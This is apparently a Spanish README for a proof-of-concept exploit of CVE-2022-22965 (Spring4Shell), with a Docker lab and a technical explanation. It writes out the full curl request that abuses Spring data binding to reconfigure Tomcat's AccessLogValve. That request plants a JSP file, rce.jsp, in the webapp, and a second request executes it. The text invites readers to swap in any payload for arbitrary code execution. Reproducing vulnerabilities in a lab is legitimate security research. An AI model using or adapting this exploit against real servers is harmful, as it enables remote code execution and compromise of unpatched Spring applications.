
Exploit de prueba de concepto para CVE-2022-22965 (Spring4Shell) que demuestra la ejecución remota de código mediante la manipulación de Tomcat AccessLogValve. Incluye un entorno de reproducción basado en Docker y un análisis técnico detallado.
Ejemplo mínimo de cómo reproducir CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp en webapps/handling-form-submission-complete en el servidor web.Ejecuta el servidor Tomcat en docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Añade -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" si quieres depurar de forma remota.
Construye el proyecto
./mvnw install
Despliega la aplicación
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Escribe el exploit
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
El exploit va a crear el archivo rce.jsp en webapps/handling-form-submission-complete en el servidor web.
Usa el exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Ahora verás 123 en la terminal del contenedor. Reemplaza System.out.println(123) con tu payload para ejecutar código arbitrario.
GreetingController maneja solicitudes POST en el endpoint /greeting y vincula los campos del formulario al objeto Greeting.user.info.firstname). Consulta AbstractNestablePropertyAccessor como referencia.Greeting tiene dos campos id y content, pero en realidad también tiene una referencia al objeto Class. Podemos usar class.module.classLoader como clave de datos del formulario para acceder al classloader.module.Greeting. Nada más. En la mayoría de los casos ni siquiera es peligroso porque no hay clases con campos públicos disponibles ni siquiera desde class.module.classLoader.getResources que nos permite continuar la cadena de referencias y acceder a una de las instancias de la clase AccessLogValve.jsp en la raíz de la carpeta de la aplicación con el payload malicioso. Dado que los jsp son ejecutados automáticamente por Tomcat, podemos navegar a él en el navegador y finalmente ejecutar el payload. Ahora es RCE.El exploit funciona solo en Tomcat porque tiene un classloader especial. Aunque una cadena de referencias similar puede existir también en otros servidores de aplicaciones web. Simplemente aún no se ha descubierto.
El exploit requiere Java 9 o superior porque la propiedad module se añadió en Java 9.